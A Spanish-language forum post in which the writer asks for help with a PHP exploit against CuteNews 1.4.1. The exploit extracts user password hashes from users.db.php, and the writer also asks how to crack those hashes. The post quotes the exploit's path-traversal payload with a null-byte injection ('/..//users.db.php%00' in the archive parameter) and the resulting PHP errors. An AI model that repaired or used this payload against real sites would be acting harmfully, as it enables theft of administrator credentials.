Vamos por pasos... En primer lugar que es esto?
Bueno se trata de un script en php que se encarga de encontrar el HASH de cualquier usuario que este en un archivo llamado: users.db.php del cutenews
Sabiendo el HASH del admin claro que se sabe cual es el pass no? la pregunta es como se obtiene el pass mediante el Hash? espero y alguien me responda.
Otra cosa...
Intente hacer funcionar este exploit pero no funciono, hice todo lo que me pide ahi, copie el codigo o exploit y lo guarde como cutenewsexploit.php y lo subi a mi server para probar con mi antigua web q usa CuteNews 1.4.1 la cual no he actualizado.
Pero no funciona, al tratar de hacerlo funcionar me da este error:
Warning: file(/home/fulanito/public_html/web/cutenews/data/archives//../users.db.php\0.news.arch): failed to open stream: No such file or directory in /home/fulanito/public_html/web/cutenews/inc/shows.inc.php on line 583
Warning: Invalid argument supplied for foreach() in /home/fulanito/public_html/web/cutenews/inc/shows.inc.php on line 601
La pregunta es que estoy haciendo mal?
Como hacer funcionar este exploit ya que me parece interesante, si se fijan bien la ruta correcta a mi sistema de news osea a mi cutenews seria:
/home/fulanito/public_html/web/cutenews/data/users.db.php
(Almenos que en cutenews 1.4.1 sea diferente ya que creo que asi es la ruta con 1.4.5)
Que esta mal? Yo o el exploit? He tratado de mirar esta parte del exploit que tiene que ver con la ruta pero no pillo el problema aun:
Lineas: 114 y 115 si usas Dreamweaver
Código:
if ($command=='') {$command="/..//users.db.php%00";}
$data="archive=".$command;
$data="archive=".$command;
Haber si me dan una mano con esto, de ante mano gracias.
